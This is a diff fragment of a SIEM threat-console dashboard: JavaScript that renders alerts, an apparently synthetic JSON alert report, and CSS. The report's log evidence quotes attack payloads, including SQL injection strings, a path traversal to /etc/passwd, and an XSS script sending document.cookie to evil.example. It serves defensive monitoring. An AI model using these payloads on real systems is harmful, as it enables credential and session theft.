span.appendChild(document.createTextNode(s));
|
||||
legend.appendChild(span);
|
||||
});
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------- sev meter */
|
||||
|
||||
function renderSeverityMeter() {
|
||||
const bar = document.getElementById("sev-meter-bar");
|
||||
const labels = document.getElementById("sev-meter-labels");
|
||||
bar.textContent = "";
|
||||
labels.textContent = "";
|
||||
const s = REPORT.stats.by_severity;
|
||||
const total = REPORT.stats.total_alerts;
|
||||
|
||||
if (total === 0) {
|
||||
bar.appendChild(el("div", { class: "seg none" }));
|
||||
} else {
|
||||
SEVERITY_ORDER.forEach((sev) => {
|
||||
const count = s[sev];
|
||||
if (count > 0) {
|
||||
const seg = el("div", { class: `seg ${SEVERITY_CLASS[sev]}` });
|
||||
seg.style.flexGrow = String(count);
|
||||
bar.appendChild(seg);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
SEVERITY_ORDER.forEach((sev) => {
|
||||
const item = el("span");
|
||||
const dot = el("span", { class: "legend-dot" });
|
||||
dot.style.background = SEVERITY_COLOR[sev];
|
||||
item.appendChild(dot);
|
||||
item.appendChild(document.createTextNode(`${sev} · ${s[sev]}`));
|
||||
labels.appendChild(item);
|
||||
});
|
||||
}
|
||||
|
||||
/* --------------------------------------------------------------- IP list */
|
||||
|
||||
function renderIpList() {
|
||||
const list = document.getElementById("ip-list");
|
||||
list.textContent = "";
|
||||
const ips = REPORT.malicious_ips;
|
||||
document.getElementById("ip-count-hint").textContent = `${ips.length} tracked`;
|
||||
|
||||
if (ips.length === 0) {
|
||||
list.appendChild(el("li", { text: "No malicious IPs detected." }));
|
||||
return;
|
||||
}
|
||||
const maxScore = ips[0].threat_score || 1;
|
||||
ips.slice(0, 10).forEach((info, idx) => {
|
||||
const row = el("li", { class: "ip-row" });
|
||||
row.appendChild(el("span", { class: "ip-rank", text: String(idx + 1) }));
|
||||
row.appendChild(el("span", { class: "ip-addr", text: info.ip }));
|
||||
|
||||
const track = el("span", { class: "ip-bar-track" });
|
||||
const fill = el("span", { class: "ip-bar-fill" });
|
||||
fill.style.width = `${Math.max(6, (info.threat_score / maxScore) * 100)}%`;
|
||||
fill.style.background = SEVERITY_COLOR[topSeverityOf(info)];
|
||||
track.appendChild(fill);
|
||||
row.appendChild(track);
|
||||
|
||||
row.appendChild(el("span", { class: "ip-score", text: String(info.threat_score) }));
|
||||
list.appendChild(row);
|
||||
});
|
||||
}
|
||||
|
||||
/* --------------------------------------------------------------- filters */
|
||||
|
||||
function populateEndpointFilter() {
|
||||
const select = document.getElementById("endpoint-filter");
|
||||
const current = select.value;
|
||||
const endpoints = Array.from(new Set(REPORT.alerts.map((a) => a.endpoint))).sort();
|
||||
select.textContent = "";
|
||||
select.appendChild(el("option", { value: "", text: "All endpoints" }));
|
||||
endpoints.forEach((ep) => select.appendChild(el("option", { value: ep, text: ep })));
|
||||
select.value = current || "";
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ table */
|
||||
|
||||
function renderTable() {
|
||||
const tbody = document.getElementById("alerts-tbody");
|
||||
tbody.textContent = "";
|
||||
|
||||
const q = document.getElementById("search-input").value.trim().toLowerCase();
|
||||
const sevFilter = document.getElementById("severity-filter").value;
|
||||
const epFilter = document.getElementById("endpoint-filter").value;
|
||||
|
||||
const filtered = REPORT.alerts.filter((a) => {
|
||||
if (sevFilter && a.severity !== sevFilter) return false;
|
||||
if (epFilter && a.endpoint !== epFilter) return false;
|
||||
if (q) {
|
||||
const hay = `${a.src_ip} ${a.alert_type} ${a.description} ${a.endpoint}`.toLowerCase();
|
||||
if (!hay.includes(q)) return false;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
|
||||
document.getElementById("alert-count-hint").textContent =
|
||||
`${filtered.length} / ${REPORT.alerts.length} alerts`;
|
||||
|
||||
if (filtered.length === 0) {
|
||||
const tr = el("tr", { class: "empty-row" });
|
||||
const td = el("td", { text: "No alerts match your filters." });
|
||||
td.colSpan = 6;
|
||||
tr.appendChild(td);
|
||||
tbody.appendChild(tr);
|
||||
return;
|
||||
}
|
||||
|
||||
filtered.forEach((a) => {
|
||||
const tr = el("tr", { class: a.id === expandedRowId ? "expanded" : "" });
|
||||
tr.appendChild(el("td", { class: "ts", text: formatTs(a.timestamp) }));
|
||||
|
||||
const sevTd = el("td");
|
||||
sevTd.appendChild(el("span", { class: `badge ${a.severity}`, text: a.severity }));
|
||||
tr.appendChild(sevTd);
|
||||
|
||||
const typeTd = el("td");
|
||||
typeTd.appendChild(el("span", { class: "type-tag", text: a.alert_type }));
|
||||
tr.appendChild(typeTd);
|
||||
|
||||
tr.appendChild(el("td", { class: "ip", text: a.src_ip }));
|
||||
tr.appendChild(el("td", { class: "endpoint", text: a.endpoint }));
|
||||
tr.appendChild(el("td", { class: "desc", text: a.description }));
|
||||
|
||||
tr.addEventListener("click", () => {
|
||||
expandedRowId = expandedRowId === a.id ? null : a.id;
|
||||
renderTable();
|
||||
});
|
||||
tbody.appendChild(tr);
|
||||
|
||||
if (expandedRowId === a.id) {
|
||||
const evTr = el("tr", { class: "evidence-row" });
|
||||
const evTd = el("td");
|
||||
evTd.colSpan = 6;
|
||||
const box = el("div", { class: "evidence-box" });
|
||||
if (a.evidence && a.evidence.length) {
|
||||
box.textContent = a.evidence.join("\n");
|
||||
} else {
|
||||
box.textContent = "No raw log lines attached to this alert (derived/correlated finding).";
|
||||
}
|
||||
evTd.appendChild(box);
|
||||
evTr.appendChild(evTd);
|
||||
tbody.appendChild(evTr);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function formatTs(iso) {
|
||||
const d = new Date(iso);
|
||||
if (isNaN(d)) return iso;
|
||||
const pad = (n) => String(n).padStart(2, "0");
|
||||
return `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())} `
|
||||
+ `${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}`;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ util */
|
||||
|
||||
function el(tag, opts) {
|
||||
const node = document.createElement(tag);
|
||||
opts = opts || {};
|
||||
if (opts.class) node.className = opts.class;
|
||||
if (opts.text !== undefined) node.textContent = opts.text;
|
||||
if (opts.value !== undefined) node.value = opts.value;
|
||||
return node;
|
||||
}
|
||||
347
dashboard/siem_report.json
Normal file
347
dashboard/siem_report.json
Normal file
@@ -0,0 +1,347 @@
|
||||
{
|
||||
"generated_at": "2026-07-29T00:57:48.516747Z",
|
||||
"meta": {
|
||||
"endpoints": [
|
||||
"web-server (endpoint-1)",
|
||||
"firewall (endpoint-2)",
|
||||
"ssh-auth (endpoint-3)"
|
||||
],
|
||||
"lines_parsed": {
|
||||
"web-server (endpoint-1)": 45,
|
||||
"firewall (endpoint-2)": 34,
|
||||
"ssh-auth (endpoint-3)": 27
|
||||
}
|
||||
},
|
||||
"stats": {
|
||||
"total_alerts": 17,
|
||||
"by_severity": {
|
||||
"critical": 9,
|
||||
"high": 5,
|
||||
"medium": 3,
|
||||
"low": 0
|
||||
},
|
||||
"unique_malicious_ips": 4,
|
||||
"total_events_parsed": 106
|
||||
},
|
||||
"alerts": [
|
||||
{
|
||||
"id": "ALT-0012",
|
||||
"timestamp": "2026-07-27T10:07:41",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "198.51.100.234",
|
||||
"alert_type": "BRUTE_FORCE_SSH",
|
||||
"severity": "high",
|
||||
"description": "12 failed SSH login attempts within 300s trying 9 usernames (admin, administrator, backup, guest, oracle, postgres)",
|
||||
"evidence": [
|
||||
"Jul 27 10:07:41 app-srv-05 sshd[10201]: Failed password for invalid user admin from 198.51.100.234 port 39001 ssh2",
|
||||
"Jul 27 10:07:43 app-srv-05 sshd[10202]: Failed password for invalid user admin from 198.51.100.234 port 39002 ssh2",
|
||||
"Jul 27 10:07:45 app-srv-05 sshd[10203]: Failed password for invalid user administrator from 198.51.100.234 port 39003 ssh2",
|
||||
"Jul 27 10:07:47 app-srv-05 sshd[10204]: Failed password for invalid user user from 198.51.100.234 port 39004 ssh2",
|
||||
"Jul 27 10:07:49 app-srv-05 sshd[10205]: Failed password for invalid user guest from 198.51.100.234 port 39005 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0006",
|
||||
"timestamp": "2026-07-27T10:06:11",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /api/users?id=1'%20OR%20'1'='1",
|
||||
"evidence": [
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:11 +0000] \"GET /api/users?id=1'%20OR%20'1'='1 HTTP/1.1\" 500 640 \"-\" \"python-requests/2.31\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0009",
|
||||
"timestamp": "2026-07-27T10:06:00",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "HIGH_REQUEST_RATE",
|
||||
"severity": "medium",
|
||||
"description": "21 requests from a single IP within 60s (possible scraping/DoS/automation)",
|
||||
"evidence": [
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=2 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=3 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=4 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=5 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0016",
|
||||
"timestamp": "2026-07-27T10:06:00",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BLACKLISTED_IP_ACTIVITY",
|
||||
"severity": "critical",
|
||||
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
|
||||
"evidence": [
|
||||
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0013",
|
||||
"timestamp": "2026-07-27T10:05:24",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "ACCOUNT_COMPROMISE_SUSPECTED",
|
||||
"severity": "critical",
|
||||
"description": "Successful SSH login as 'root' immediately following a brute-force burst from the same IP -- account may be compromised",
|
||||
"evidence": [
|
||||
"Jul 27 10:05:24 app-srv-05 sshd[10111]: Accepted password for root from 192.0.2.77 port 41011 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0011",
|
||||
"timestamp": "2026-07-27T10:05:12",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BRUTE_FORCE_SSH",
|
||||
"severity": "high",
|
||||
"description": "10 failed SSH login attempts within 300s trying 7 usernames (admin, deploy, oracle, postgres, root, test)",
|
||||
"evidence": [
|
||||
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2",
|
||||
"Jul 27 10:05:13 app-srv-05 sshd[10102]: Failed password for invalid user root from 192.0.2.77 port 41002 ssh2",
|
||||
"Jul 27 10:05:14 app-srv-05 sshd[10103]: Failed password for invalid user test from 192.0.2.77 port 41003 ssh2",
|
||||
"Jul 27 10:05:15 app-srv-05 sshd[10104]: Failed password for invalid user oracle from 192.0.2.77 port 41004 ssh2",
|
||||
"Jul 27 10:05:16 app-srv-05 sshd[10105]: Failed password for invalid user ubuntu from 192.0.2.77 port 41005 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0015",
|
||||
"timestamp": "2026-07-27T10:05:12",
|
||||
"endpoint": "ssh-auth (endpoint-3)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BLACKLISTED_IP_ACTIVITY",
|
||||
"severity": "critical",
|
||||
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
|
||||
"evidence": [
|
||||
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0010",
|
||||
"timestamp": "2026-07-27T10:05:01",
|
||||
"endpoint": "firewall (endpoint-2)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "PORT_SCAN",
|
||||
"severity": "high",
|
||||
"description": "Port scan detected: 20 distinct destination ports probed against 10.0.0.5 within 120s (17 denied, 3 allowed)",
|
||||
"evidence": [
|
||||
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY",
|
||||
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33002 DST=10.0.0.5 DPT=21 PROTO=TCP ACTION=DENY",
|
||||
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33003 DST=10.0.0.5 DPT=22 PROTO=TCP ACTION=ALLOW",
|
||||
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33004 DST=10.0.0.5 DPT=23 PROTO=TCP ACTION=DENY",
|
||||
"2026-07-27 10:05:03 SRC=192.0.2.77 SPT=33005 DST=10.0.0.5 DPT=25 PROTO=TCP ACTION=DENY"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0014",
|
||||
"timestamp": "2026-07-27T10:05:01",
|
||||
"endpoint": "firewall (endpoint-2)",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "BLACKLISTED_IP_ACTIVITY",
|
||||
"severity": "critical",
|
||||
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
|
||||
"evidence": [
|
||||
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0017",
|
||||
"timestamp": "2026-07-27T10:05:01",
|
||||
"endpoint": "correlation-engine",
|
||||
"src_ip": "192.0.2.77",
|
||||
"alert_type": "MULTI_VECTOR_ATTACK",
|
||||
"severity": "critical",
|
||||
"description": "IP 192.0.2.77 triggered alerts across 3 different endpoints (firewall (endpoint-2), ssh-auth (endpoint-3), web-server (endpoint-1)) -- consistent with a coordinated, multi-stage attack (recon -> exploitation -> access)",
|
||||
"evidence": []
|
||||
},
|
||||
{
|
||||
"id": "ALT-0008",
|
||||
"timestamp": "2026-07-27T10:03:01",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.99",
|
||||
"alert_type": "RECON_SCANNER",
|
||||
"severity": "medium",
|
||||
"description": "Automated vulnerability scan detected (nikto): 7 probe requests against paths such as /admin, /admin.php, /phpmyadmin/",
|
||||
"evidence": [
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:01 +0000] \"GET /admin HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:02 +0000] \"GET /admin.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:03 +0000] \"GET /phpmyadmin/ HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:04 +0000] \"GET /.env HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
|
||||
"203.0.113.99 - - [27/Jul/2026:10:03:05 +0000] \"GET /wp-login.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0005",
|
||||
"timestamp": "2026-07-27T10:01:12",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "PATH_TRAVERSAL",
|
||||
"severity": "high",
|
||||
"description": "Path Traversal attempt detected in request to /download?file=../../../../etc/passwd",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0004",
|
||||
"timestamp": "2026-07-27T10:01:09",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "XSS",
|
||||
"severity": "high",
|
||||
"description": "Xss attempt detected in request to /search?q=<script>document.location='http://evil.example/c?'+document.cookie</script>",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie</script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0003",
|
||||
"timestamp": "2026-07-27T10:01:06",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /products?id=1'%20AND%20SLEEP(5)--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0002",
|
||||
"timestamp": "2026-07-27T10:01:04",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0001",
|
||||
"timestamp": "2026-07-27T10:01:02",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "SQL_INJECTION",
|
||||
"severity": "critical",
|
||||
"description": "Sql Injection attempt detected in request to /login.php?user=admin'%20OR%20'1'='1'--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "ALT-0007",
|
||||
"timestamp": "2026-07-27T10:01:02",
|
||||
"endpoint": "web-server (endpoint-1)",
|
||||
"src_ip": "203.0.113.66",
|
||||
"alert_type": "RECON_SCANNER",
|
||||
"severity": "medium",
|
||||
"description": "Automated vulnerability scan detected (sqlmap): 5 probe requests against paths such as /login.php?user=admin'%20OR%20'1'='1'--, /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--, /products?id=1'%20AND%20SLEEP(5)--",
|
||||
"evidence": [
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie</script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\"",
|
||||
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
|
||||
]
|
||||
}
|
||||
],
|
||||
"malicious_ips": [
|
||||
{
|
||||
"ip": "192.0.2.77",
|
||||
"threat_score": 72,
|
||||
"severity_counts": {
|
||||
"critical": 6,
|
||||
"high": 2,
|
||||
"medium": 1,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 9,
|
||||
"alert_types": [
|
||||
"ACCOUNT_COMPROMISE_SUSPECTED",
|
||||
"BLACKLISTED_IP_ACTIVITY",
|
||||
"BRUTE_FORCE_SSH",
|
||||
"HIGH_REQUEST_RATE",
|
||||
"MULTI_VECTOR_ATTACK",
|
||||
"PORT_SCAN",
|
||||
"SQL_INJECTION"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"firewall (endpoint-2)",
|
||||
"ssh-auth (endpoint-3)",
|
||||
"web-server (endpoint-1)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:05:01",
|
||||
"last_seen": "2026-07-27T10:06:11",
|
||||
"known_threat_intel": "Listed in external threat-intel feed (example seed entry)"
|
||||
},
|
||||
{
|
||||
"ip": "203.0.113.66",
|
||||
"threat_score": 42,
|
||||
"severity_counts": {
|
||||
"critical": 3,
|
||||
"high": 2,
|
||||
"medium": 1,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 6,
|
||||
"alert_types": [
|
||||
"PATH_TRAVERSAL",
|
||||
"RECON_SCANNER",
|
||||
"SQL_INJECTION",
|
||||
"XSS"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"web-server (endpoint-1)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:01:02",
|
||||
"last_seen": "2026-07-27T10:01:12",
|
||||
"known_threat_intel": null
|
||||
},
|
||||
{
|
||||
"ip": "198.51.100.234",
|
||||
"threat_score": 5,
|
||||
"severity_counts": {
|
||||
"critical": 0,
|
||||
"high": 1,
|
||||
"medium": 0,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 1,
|
||||
"alert_types": [
|
||||
"BRUTE_FORCE_SSH"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"ssh-auth (endpoint-3)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:07:41",
|
||||
"last_seen": "2026-07-27T10:07:41",
|
||||
"known_threat_intel": null
|
||||
},
|
||||
{
|
||||
"ip": "203.0.113.99",
|
||||
"threat_score": 2,
|
||||
"severity_counts": {
|
||||
"critical": 0,
|
||||
"high": 0,
|
||||
"medium": 1,
|
||||
"low": 0
|
||||
},
|
||||
"total_alerts": 1,
|
||||
"alert_types": [
|
||||
"RECON_SCANNER"
|
||||
],
|
||||
"endpoints_involved": [
|
||||
"web-server (endpoint-1)"
|
||||
],
|
||||
"first_seen": "2026-07-27T10:03:01",
|
||||
"last_seen": "2026-07-27T10:03:01",
|
||||
"known_threat_intel": null
|
||||
}
|
||||
]
|
||||
}
|
||||
472
dashboard/style.css
Normal file
472
dashboard/style.css
Normal file
@@ -0,0 +1,472 @@
|
||||
/* ==========================================================================
|
||||
SIEM Threat Console — stylesheet
|
||||
Visual identity: a night-ops monitoring console. Deep indigo-black field,
|
||||
a hairline signal grid, and severity colour used as literal information
|
||||
(red/orange/yellow/blue map 1:1 to critical/high/medium/low everywhere).
|
||||
========================================================================== */
|
||||
|
||||
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap');
|
||||
|
||||
:root {
|
||||
--bg: #080B10;
|
||||
--bg-grid: #0D121A;
|
||||
--panel: #10161F;
|
||||
--panel-raised: #141C27;
|
||||
--border: #212D3D;
|
||||
--border-soft: #1A2432;
|
||||
--text: #E7EDF4;
|
||||
--text-dim: #8592A3;
|
||||
--text-faint: #4E5A6B;
|
||||
|
||||
--critical: #FF3B4E;
|
||||
--critical-dim: #4A1620;
|
||||
--high: #FF8C42;
|
||||
--high-dim: #45280F;
|
||||
--medium: #FFD23F;
|
||||
--medium-dim: #453B10;
|
||||
--low: #3FA7FF;
|
||||
--low-dim: #10293F;
|
||||
--ok: #35D48A;
|
||||
|
||||
--font-display: 'JetBrains Mono', monospace;
|
||||
--font-body: 'Inter', sans-serif;
|
||||
--font-mono: 'JetBrains Mono', monospace;
|
||||
|
||||
--radius: 6px;
|
||||
}
|
||||
|
||||
* { box-sizing: border-box; }
|
||||
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
font-family: var(--font-body);
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
body {
|
||||
background-image:
|
||||
linear-gradient(var(--bg-grid) 1px, transparent 1px),
|
||||
linear-gradient(90deg, var(--bg-grid) 1px, transparent 1px);
|
||||
background-size: 34px 34px;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
::selection { background: var(--critical); color: #fff; }
|
||||
|
||||
a { color: var(--low); }
|
||||
|
||||
/* ---------- layout shell ---------- */
|
||||
|
||||
.console {
|
||||
max-width: 1320px;
|
||||
margin: 0 auto;
|
||||
padding: 22px 24px 60px;
|
||||
}
|
||||
|
||||
/* ---------- header ---------- */
|
||||
|
||||
.console-header {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
gap: 24px;
|
||||
padding-bottom: 18px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
margin-bottom: 22px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.brand {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 14px;
|
||||
}
|
||||
|
||||
.brand-mark {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border-radius: 8px;
|
||||
border: 1px solid var(--border);
|
||||
background: var(--panel-raised);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
position: relative;
|
||||
flex: none;
|
||||
}
|
||||
|
||||
.brand-mark svg { width: 22px; height: 22px; }
|
||||
|
||||
.brand-text .eyebrow {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 11px;
|
||||
letter-spacing: 0.16em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-faint);
|
||||
margin: 0 0 2px;
|
||||
}
|
||||
|
||||
.brand-text h1 {
|
||||
margin: 0;
|
||||
font-family: var(--font-display);
|
||||
font-size: 20px;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.01em;
|
||||
}
|
||||
|
||||
.brand-text h1 .slash { color: var(--text-faint); font-weight: 400; margin: 0 6px; }
|
||||
|
||||
.header-status {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 22px;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12px;
|
||||
color: var(--text-dim);
|
||||
}
|
||||
|
||||
.status-item { display: flex; flex-direction: column; align-items: flex-end; gap: 3px; }
|
||||
.status-item .value { color: var(--text); font-size: 13px; }
|
||||
|
||||
.live-dot {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 7px;
|
||||
color: var(--ok);
|
||||
font-weight: 600;
|
||||
}
|
||||
.live-dot::before {
|
||||
content: "";
|
||||
width: 7px;
|
||||
height: 7px;
|
||||
border-radius: 50%;
|
||||
background: var(--ok);
|
||||
box-shadow: 0 0 0 0 rgba(53, 212, 138, 0.6);
|
||||
animation: pulse 1.8s infinite;
|
||||
}
|
||||
@keyframes pulse {
|
||||
0% { box-shadow: 0 0 0 0 rgba(53, 212, 138, 0.55); }
|
||||
70% { box-shadow: 0 0 0 7px rgba(53, 212, 138, 0); }
|
||||
100% { box-shadow: 0 0 0 0 rgba(53, 212, 138, 0); }
|
||||
}
|
||||
|
||||
.btn {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12px;
|
||||
color: var(--text);
|
||||
background: var(--panel-raised);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
padding: 8px 14px;
|
||||
cursor: pointer;
|
||||
transition: border-color .15s ease, transform .1s ease;
|
||||
}
|
||||
.btn:hover { border-color: var(--low); color: var(--low); }
|
||||
.btn:active { transform: translateY(1px); }
|
||||
|
||||
/* ---------- stat cards ---------- */
|
||||
|
||||
.stat-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(6, 1fr);
|
||||
gap: 12px;
|
||||
margin-bottom: 22px;
|
||||
}
|
||||
|
||||
.stat-card {
|
||||
background: var(--panel);
|
||||
border: 1px solid var(--border);
|
||||
border-top: 2px solid var(--border-soft);
|
||||
border-radius: var(--radius);
|
||||
padding: 14px 16px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
